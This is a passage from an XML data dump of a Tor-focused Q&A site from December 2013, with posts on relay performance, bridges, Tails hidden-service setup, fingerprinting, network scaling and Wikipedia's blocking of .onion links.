router with that name as having the &quot;Unnamed&quot; flag, then the name is&#xA;        bound.  (It's bound to the ID listed in the entry with the Named,&#xA;        or to an unknown ID if no name is found.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When the user refers to a bound name, the implementation SHOULD provide&#xA;     only the router with ID bound to that name, and no other router, even&#xA;     if the router with the right ID can't be found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-12-17T20:26:05.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1035" PostTypeId="2" ParentId="1031" CreationDate="2013-12-17T21:24:10.190" Score="7" Body="&lt;p&gt;As of today, the highest performing Tor node is pushing about 30 MB/s so if you are looking for tips, I'd suggest trying to match what the &lt;a href=&quot;http://torstatus.blutmagie.de/index.php?SR=Bandwidth&amp;amp;SO=Desc&quot;&gt;fastest Tor nodes&lt;/a&gt; are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, choose a good platform. Linux works well, as does FreeBSD. Avoid Windows; while it is possible to get good performance out of Windows it requires a very different programming style to that of Unix and &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/WindowsBufferProblems&quot;&gt;Tor hasn't been optimised for that style&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you will need to turn off any arbitrary limits, such as the &lt;code&gt;BandwidthRate&lt;/code&gt; Tor configuration option, but also the system limits (such as the maximum number of file descriptors, by calling &lt;code&gt;ulimit -n&lt;/code&gt;, as performed by the &lt;a href=&quot;https://gitweb.torproject.org/debian/tor.git/blob_plain/HEAD:/debian/tor.init&quot;&gt;Debian launch script&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And have a powerful computer – your CPU needs to be able to keep up with your network and Tor requires several cryptographic operations for each cell that gets put on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most importantly, get a good network connection. Most Tor nodes are limited by their Internet connection's bandwidth so a reasonably low-latency high bandwidth link to a lot of Tor nodes will be necessary to get the best out of your node. Tor needs mostly the same upload and download bandwidth so a symmetric connection is best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done all of these, keep an eye on the network and CPU usage and check for bottlenecks. &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot;&gt;ARM&lt;/a&gt; is a useful tool for monitoring a server. Do remember that it will take a long time (&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot;&gt;maybe a couple of months&lt;/a&gt;) for your node to pick up enough users for it to reach capacity.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-12-17T22:43:50.757" LastActivityDate="2013-12-17T22:43:50.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1036" PostTypeId="2" ParentId="986" CreationDate="2013-12-17T23:05:27.567" Score="3" Body="&lt;p&gt;Are you using Windows 8? If so, I have the same problem. Apparently, Flash installs itself into your Windows 8 system through a software update.&#xA;I found this walk-through on how to get rid of it from your machine. Hope it helps:&#xA;&lt;a href=&quot;http://betanews.com/2013/01/10/you-can-remove-adobe-flash-from-windows-heres-how/&quot; rel=&quot;nofollow&quot;&gt;http://betanews.com/2013/01/10/you-can-remove-adobe-flash-from-windows-heres-how/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="751" LastActivityDate="2013-12-17T23:05:27.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1038" PostTypeId="5" CreationDate="2013-12-18T09:14:57.227" Score="0" Body="&lt;p&gt;Debian is a free, Unix-like operating system for many different kinds of computers, including arm and mips based systems, powerpc and s390 (IBM z-series), and, of course, your standard Intel based desktop or laptop PC (i386/amd64).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debian is developed by thousands of volunteers around the world.  Visit &lt;a href=&quot;http://www.debian.org/&quot; rel=&quot;nofollow&quot;&gt;www.debian.org&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Debian-packages for Tor, see &lt;a href=&quot;https://www.torproject.org/docs/debian&quot; rel=&quot;nofollow&quot;&gt;the Tor website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-12-20T21:24:59.400" LastActivityDate="2013-12-20T21:24:59.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1039" PostTypeId="4" CreationDate="2013-12-18T09:14:57.227" Score="0" Body="Debian is a free operating system (OS) for your computer. An operating system is the set of basic programs and utilities that make your computer run." OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-12-20T21:24:53.777" LastActivityDate="2013-12-20T21:24:53.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1040" PostTypeId="2" ParentId="765" CreationDate="2013-12-18T09:27:59.637" Score="3" Body="&lt;p&gt;Setting up your own bridge on a standard Linux system is not very difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any cloud provider that provides you with an Debian or Ubuntu option would be a good start.  Get the base image, install the &lt;a href=&quot;https://www.torproject.org/docs/debian&quot; rel=&quot;nofollow&quot;&gt;debian packages Tor provides&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#RunningABridge&quot; rel=&quot;nofollow&quot;&gt;configure your torrc&lt;/a&gt; accordingly.  Optionally, add &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voilà.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this should just be documented better.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-18T09:27:59.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1041" PostTypeId="2" ParentId="939" CreationDate="2013-12-18T09:31:43.827" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As I understand, when I have a private RSA key and I send this private key to a Tor host and he runs it, I should be able somehow to get his real IP address using this RSA key, isn't that right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.  The hidden service key is just used for signing stuff.  It won't let you decrypt any special information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the provider has the private key, it just means they owna the hidden service name just as much as you do.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-18T09:31:43.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1042" PostTypeId="2" ParentId="955" CreationDate="2013-12-18T12:34:42.287" Score="3" Body="&lt;p&gt;The Tor Browser (through the Torbutton extension and patches to the browser code) tries to make &lt;a href=&quot;https://www.torproject.org/torbutton/en/design/index.html.en#fingerprinting&quot; rel=&quot;nofollow&quot;&gt;every Tor user look the same&lt;/a&gt;, for example by disabling unsafe browser features such as &lt;a href=&quot;https://www.torproject.org/torbutton/en/design/index.html.en#jshooks&quot; rel=&quot;nofollow&quot;&gt;certain Javascript functions&lt;/a&gt;. This is necessary to preserve anonymity but inevitably makes Tor users look different from other users with an unmodified Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it were possible to make Tor Browser look like another browser by enabling unsafe features, the list of IP addresses of all Tor exit nodes is &lt;a href=&quot;https://www.torproject.org/projects/tordnsel.html.en&quot; rel=&quot;nofollow&quot;&gt;publicly available information&lt;/a&gt; so it would be trivial to identify you as a Tor user by IP address even without knowing anything about your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how ip-check.info works in detail, but from testing it looks like it inspects both the browser and IP address. Unmodified Firefox, via Tor gets the message &quot;You are using Tor, but your browser profile differs from the recommended&quot; whereas Tor Browser via Tor gets the message &quot;You are using Tor&quot;. So even if you changed the browser fingerprint via Privoxy or otherwise, ip-check.info would still recognize you as using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am afraid there is no way to hide the fact that you are using Tor from services which compare your IP address against the list of Tor exit nodes, like ip-check.info does.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-12-18T12:34:42.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1044" PostTypeId="2" ParentId="1008" CreationDate="2013-12-18T13:26:02.857" Score="1" Body="&lt;p&gt;The Tor Browser Bundle should not need any configuration to work with a standard computer. It looks like either something has gone wrong with your installation or there is a bug. If you post further information on what you installed, how, and the error message you saw, we can provide more help.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-12-18T13:26:02.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1045" PostTypeId="1" AcceptedAnswerId="1050" CreationDate="2013-12-18T18:40:13.203" Score="9" ViewCount="233" Body="&lt;p&gt;I wonder whether there would be any problems if Tor grew to serve a large portion (e.g. 5 or 30 %) of internet (web) usage? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it Tor is helped by new nodes at the moment – but is there any limit when its usability or safety would decrease? &lt;/p&gt;&#xA;" OwnerUserId="762" LastEditorDisplayName="user5" LastEditDate="2013-12-18T18:44:54.350" LastActivityDate="2013-12-20T10:12:31.123" Title="Would Tor work if it became very large?" Tags="|relays|guard-node|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1046" PostTypeId="2" ParentId="799" CreationDate="2013-12-18T21:09:18.633" Score="3" Body="&lt;p&gt;Since Tails runs from a CDROM, as soon as you reboot, all you configuration and web content will be gone.  But, you can get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails puts some heavy restrictions on outgoing network packets.  You'll have to explicitly allow outgoing packets to port 8080 on the loopback device.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# iptables -I OUTPUT -o lo -p tcp --dport 8080 -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this, you should be able to connect to your hidden server through tor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/http_service/hostname&#xA;a23a7jqil5dkimu2.onion&#xA;# curl http://a23a7jqil5dkimu2.onion:8080&#xA;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;It works!&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;This is the default web page for this server.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;The web server software is running but no content has been added, yet.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tails will put some environment variables in your shell.  Curl uses these to send http(s) requests through polipo&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@amnesia:~# env | grep -i proxy&#xA;http_proxy=http://127.0.0.1:8118&#xA;GIT_PROXY_COMMAND=/usr/local/bin/connect-socks&#xA;HTTPS_PROXY=http://127.0.0.1:8118&#xA;https_proxy=http://127.0.0.1:8118&#xA;HTTP_PROXY=http://127.0.0.1:8118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to connect directly to your webserver, then unset these environment variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# unset http_proxy HTTPS_PROXY https_proxy HTTP_PROXY&#xA;# curl http://localhost:8080&#xA;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;It works!&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;This is the default web page for this server.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;The web server software is running but no content has been added, yet.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="733" LastEditorUserId="733" LastEditDate="2013-12-18T21:14:55.123" LastActivityDate="2013-12-18T21:14:55.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1047" PostTypeId="2" ParentId="998" CreationDate="2013-12-18T22:38:37.473" Score="1" Body="&lt;p&gt;Installing plugins and add-ons to Tor Browser is &lt;a href=&quot;https://www.torproject.org/download/download.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;extremely discouraged&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The DNT add-on you mentioned would practically make your browser fingerprint unique since you'd be the only Tor user with a DNT header on. This may allow linkability of your actions on Tor.&lt;/p&gt;&#xA;&lt;p&gt;Please consult to warnings on the &lt;a href=&quot;https://www.torproject.org/download/download.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;downloads page&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Don't enable or install browser plugins&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor Browser will block browser plugins such as Flash, RealPlayer, Quicktime, and others: they can be manipulated into revealing your IP address. Similarly, we do not recommend installing additional addons or plugins into the Tor Browser, as these may bypass Tor or otherwise harm your anonymity and privacy. The lack of plugins means that Youtube videos are blocked by default, but Youtube does provide an experimental opt-in feature (enable it here) that works for some videos.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="731" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-12-18T22:38:37.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1048" PostTypeId="1" CreationDate="2013-12-19T02:28:28.293" Score="6" ViewCount="1220" Body="&lt;p&gt;How can I achieve the optimal connection for using Tor as a client, in terms of bandwidth and response time, given infinite resources?  Can I set up a server with very strong connection and do a VPN into it from a client machine (eg. browser on a laptop)?  Could I connect to low-latency nodes only? Etc.&lt;/p&gt;&#xA;" OwnerUserId="330" LastEditorUserId="923" LastEditDate="2014-03-05T19:22:25.220" LastActivityDate="2014-03-05T19:22:25.220" Title="How can I optimize the connection bandwidth and response time for Tor-browsing?" Tags="|tor-browser-bundle|client|speed|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1049" PostTypeId="2" ParentId="1045" CreationDate="2013-12-19T12:52:55.353" Score="5" Body="&lt;p&gt;Caveat: not a complete answer, but still a start:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There probably is a limit, given Tor's current design.  For instance, right now it's assumed that every relay can and does talk directly to every other relay.  Once you have many tens of thousands of relays that just won't work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, Tor has kept ahead of the curve.  However, this requires constant updates, discussion, and reflection.  There is a discussion from a couple years back in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/ideas/xxx-grand-scaling-plan.txt&quot; rel=&quot;nofollow&quot;&gt;tor specification repository&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-12-19T20:27:14.987" LastActivityDate="2013-12-19T20:27:14.987" CommentCount="2" CommunityOwnedDate="2013-12-19T12:52:55.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="1050" PostTypeId="2" ParentId="1045" CreationDate="2013-12-19T15:36:15.097" Score="3" Body="&lt;p&gt;The whole Tor network &lt;a href=&quot;https://metrics.torproject.org/network.html#bandwidth&quot; rel=&quot;nofollow noreferrer&quot;&gt;advertises 6 GiB/s&lt;/a&gt; according to the metrics page. &lt;a href=&quot;http://de-cix.net/about/statistics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DE-CIX statistics&lt;/a&gt; say they have an average bandwidth of 200 GiB/s. So if you assume that web traffic is roughly 20% of all traffic, we talk about 40 GiB/s. Numbers between 5 and 30% are 2 to 12 GiB/s of traffic in the DE-CIX case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if those estimation is correct, Tor should be able to handle (DE-CIX) web traffic right now. It would need some fast relays, but not enormous amounts of relays. I assume the numbers don't grow that much on a worldwide base. So with a fair number of fast relays web traffic should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when when talk about general Internet traffic (BitTorrent alone is estimated to account for &gt;40% of internet traffic), you will needs ten of thousands, if not millions of relays. A client will have to download all those information at the beginning. I would estimate that this file can easily grow to some hundreds of MB. Furthermore, as &lt;a href=&quot;https://tor.stackexchange.com/posts/1049/revisions&quot;&gt;Peter wrote&lt;/a&gt;, every relay talks to each other which simply doesn't work with so many relays.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-12-19T15:36:15.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1052" PostTypeId="1" AcceptedAnswerId="1053" CreationDate="2013-12-19T17:07:03.777" Score="2" ViewCount="872" Body="&lt;p&gt;When I try to save a Wikipedia page I've edited to include a relevant and useful link to a .onion site, I get an error message &lt;em&gt;&quot;Your edit was not saved because it contains a new external link to a site registered on &lt;a href=&quot;https://en.wikipedia.org/wiki/MediaWiki:Spam-blacklist&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia's blacklist&lt;/a&gt;.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dm7KF.png&quot; alt=&quot;&amp;quot;Your edit was not saved because it contains a new external link to a site registered on Wikipedia&amp;#39;s blacklist.&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error was &lt;a href=&quot;https://en.wikipedia.org/wiki/Talk:Assassination_market#.22Wikipedia_does_not_allow_the_URL_of_this_source.22&quot; rel=&quot;nofollow noreferrer&quot;&gt;first bought to my attention&lt;/a&gt; when someone tried to edit the &lt;a href=&quot;https://en.wikipedia.org/wiki/Assassination_market&quot; rel=&quot;nofollow noreferrer&quot;&gt;assassination market article&lt;/a&gt; to include a link to the hidden service that's subject of &lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2013/11/18/meet-the-assassination-market-creator-whos-crowdfunding-murder-with-bitcoins/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Forbes article&lt;/a&gt;. They assumed it was censorship because of the subject matter, but I've found I can't link &lt;em&gt;any&lt;/em&gt; .onion URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, what's going on? Is there a Wikipedia policy to block all Tor sites, or is this a technical limitation?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2013-12-19T17:07:03.777" Title="Why can't I link to .onion domains from Wikipedia?" Tags="|censorship|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1053" PostTypeId="2" ParentId="1052" CreationDate="2013-12-19T17:07:03.777" Score="3" Body="&lt;p&gt;Looking at &lt;a href=&quot;https://en.wikipedia.org/wiki/MediaWiki%3aSpam-blacklist&quot;&gt;Wikipedia's spam blacklist&lt;/a&gt;, the line that's causing this message is the following regular expression:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\b[_\-0-9a-z]+\.onion\b  # was \bsilkroad.*\.onion\b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Essentially, match any URL with a string of alphanumeric characters followed by &quot;.onion&quot; followed by a word boundary.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So the suggestion in the question that all .onion links are blacklisted on Wikipedia is correct.&lt;/strong&gt; The comment next to the regular expression shows that it was previously just Silk Road that was blacklisted. At this stage of my research, I too was wondering if it was blacklisted because of the site's content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's been lots of discussion on Wikipedia as to whether Tor URLs should be included or not. This article, &lt;a href=&quot;http://allthingsvice.com/2013/09/12/silk-road-wiki-wars/&quot;&gt;&quot;Silk Road Wiki Wars&quot;&lt;/a&gt;, summarises the reasons that were raised for not linking to Silk Road specifically (some of which are more valid than others, and some of which don't apply to other Tor sites; the article does say that the final reason behind the ban was &quot;murky&quot;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Linking to this site would expose Wikimedia Foundation to legal liability (with linking to such sites illegal in some jurisdictions)&lt;/li&gt;&#xA;  &lt;li&gt;The true link is hard to distinguish from fake phishing links, and is therefore prone to being changed, and harming Wikipedia’s readers&lt;/li&gt;&#xA;  &lt;li&gt;Hosting the link does a disservice to Wikipedia’s readers (i.e. there’s a duty not to send readers to websites where they might be able to commit crimes).&lt;/li&gt;&#xA;  &lt;li&gt;Linking to this site is spam or otherwise violates WP:ELNO [Wikipedia’s guidelines on external links to be avoided]&lt;/li&gt;&#xA;  &lt;li&gt;Hidden site (.onion) addresses are not regular links and require special software&lt;/li&gt;&#xA;  &lt;li&gt;It’s against Wikipedia’s rules to insert links to blacklisted sites (a purely technical objection, since the link had only been blacklisted because of previous editing wars)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Having looked at a &lt;a href=&quot;https://en.wikipedia.org/wiki/MediaWiki_talk%3aSpam-blacklist/archives/March_2011#Hidden_wiki&quot;&gt;couple&lt;/a&gt; of &lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia_talk%3aExternal_links/Archive_32#Links_to_.onion_domain.3F&quot;&gt;other&lt;/a&gt; more general debates about linking to .onion URLS, it looks like &lt;strong&gt;the only real policy that clearly, objectively blocks Tor (and not just Silk Road) is &lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia%3aELNO#EL7&quot;&gt;external links to be avoided policy 7&lt;/a&gt;:&lt;/strong&gt; &lt;em&gt;&quot;Except for a link to an official page of the article's subject, one should generally avoid providing external links to sites that are inaccessible to a substantial number of users, such as &lt;strong&gt;sites that only work with a specific browser&lt;/strong&gt; or in a specific country.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the controversy there's been in the Wikipedia community in the past about linking to Silk Road, it's possible that people are enforcing letter of-the-law use of this policy for reasons of censorship or misconceptions about Tor, although this is speculation on my part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the above regex includes any site with the string &quot;.onion&quot; next to a word boundary, it also (hilariously) stops links to innocuous Surface Web sites like &lt;a href=&quot;http://www.onion-router.net/&quot;&gt;http://www.onion-router.net/&lt;/a&gt;. And because of its catch-all nature, it still blocks links that come under the &quot;official page of the article's subject&quot; exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround is to link to a Tor2Web (or similar) version of a page (as long as the proxied version doesn't still contain &quot;.onion&quot; in the URL). This avoids the &quot;sites that only work with a specific browser&quot; rule. I did this 3 weeks ago to &lt;a href=&quot;https://en.wikipedia.org/wiki/Hidden_Wiki&quot;&gt;link to the official Hidden Wiki page&lt;/a&gt; and no-one seems to have minded.&lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2013-12-19T17:07:03.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1054" PostTypeId="2" ParentId="947" CreationDate="2013-12-19T20:34:16.963" Score="2" Body="&lt;p&gt;Instead of using a socks server with a routing feature, you could always use some intelligent proxy selection in firefox itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/&quot; rel=&quot;nofollow&quot;&gt;FoxyProxy&lt;/a&gt; addon, you can say &quot;Use proxy  for URLs matching http://*.i2p.; use proxy  for everything else&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Ceterum censeo: using normal Firefox instead of the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;TBB&lt;/a&gt; is probably not very safe.]&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-19T20:34:16.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1055" PostTypeId="2" ParentId="835" CreationDate="2013-12-20T03:25:34.860" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://en.savefrom.net/&quot; rel=&quot;nofollow&quot;&gt;http://en.savefrom.net/&lt;/a&gt; works well for youtube content that doesn't have an HTML5 version, this site seems to convert the download to an MP4 rather than a FLV as well. I would imagine it would work with Vimeo too but haven't tried.&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2013-12-20T03:25:34.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1056" PostTypeId="2" ParentId="737" CreationDate="2013-12-20T03:59:23.533" Score="0" Body="&lt;p&gt;It would be child's play to implement some small amount of delay and dummy traffic into the network at any or all hops. I have no idea why this isn't a feature of Tor already.&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2013-12-20T03:59:23.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1057" PostTypeId="1" CreationDate="2013-12-20T04:39:33.730" Score="1" ViewCount="669" Body="&lt;p&gt;McAfee blocked an incoming connection from an anonymous proxy 37.130.227.133, does anyone know if my PC is now at risk somehow? I was under the impression that this shouldnt happen. Anyone have any input what this means? This happened after I was browsing sensitive information with javascript enabled on the 18th. Also my broswer froze and was displaying strange characters on some Tor sites following this. Anywhere I should look for malicious script on my PC? Im tech illiterate, any info would help. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="771" LastActivityDate="2014-06-04T15:01:05.113" Title="McAfee Blocked Incoming Anonymous Proxy" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1058" PostTypeId="1" CreationDate="2013-12-20T10:08:00.827" Score="4" ViewCount="1887" Body="&lt;p&gt;My country recently blocked quite a number of popular file hosting sites (e.g. uploaded.net) at the IP level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor circumvents this but I'm finding that most (nearly all?) Tor exit nodes are almost always past their free download limit on most of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do try again and again after getting a 'new identity' but the process is laborious and most exit nodes are already past their limits. Is there any way I can work around this issue without subscribing to a 'premium' account on these sites?&lt;/p&gt;&#xA;" OwnerUserId="773" LastEditorUserId="923" LastEditDate="2014-03-05T19:23:05.837" LastActivityDate="2014-03-05T19:23:05.837" Title="Many exit nodes unable to download from file hosting sites" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1059" PostTypeId="2" ParentId="1045" CreationDate="2013-12-20T10:12:31.123" Score="4" Body="&lt;p&gt;Another bottleneck is the distribution of the network consensus.  To maintain anonymity, every client must have the full consensus for relay selection.  As more relays and users join the network, the distribution gets more and more expensive.  After all, every relay adds another entry to the consensus and every user will periodically want to download the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This paper gives a good overview of the problem:&#xA;&lt;a href=&quot;http://freehaven.net/anonbib/#ccs09-torsk&quot; rel=&quot;nofollow&quot;&gt;http://freehaven.net/anonbib/#ccs09-torsk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-12-20T10:12:31.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1060" PostTypeId="1" AcceptedAnswerId="1062" CreationDate="2013-12-20T12:49:56.683" Score="3" ViewCount="316" Body="&lt;p&gt;I've tried to set up a tor hidden service on &lt;code&gt;/var/hidden&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after chmod-ing it to &lt;em&gt;777&lt;/em&gt; and chown-ing it to &lt;em&gt;debian-tor&lt;/em&gt; it still won't work. Why is that? Why doesn't it have permission to write to that directory and it has to write the default &lt;code&gt;/var/lib/tor&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="775" LastEditorUserId="71" LastEditDate="2013-12-20T21:24:47.213" LastActivityDate="2013-12-21T12:53:38.353" Title="Tor can't access its dir?" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1061" PostTypeId="2" ParentId="1058" CreationDate="2013-12-20T12:52:55.557" Score="4" Body="&lt;p&gt;Tor is &lt;strong&gt;not meant&lt;/strong&gt; for downloading (large) files. This is slowing down the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case I would suggest you one of the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use/buy a VPN in combination with a premium account&lt;/li&gt;&#xA;&lt;li&gt;use a service like &lt;strong&gt;rapid8.com&lt;/strong&gt; or &lt;strong&gt;premiumize.me&lt;/strong&gt; (most valuable when you download frequently from different hosters)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="774" LastActivityDate="2013-12-20T12:52:55.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
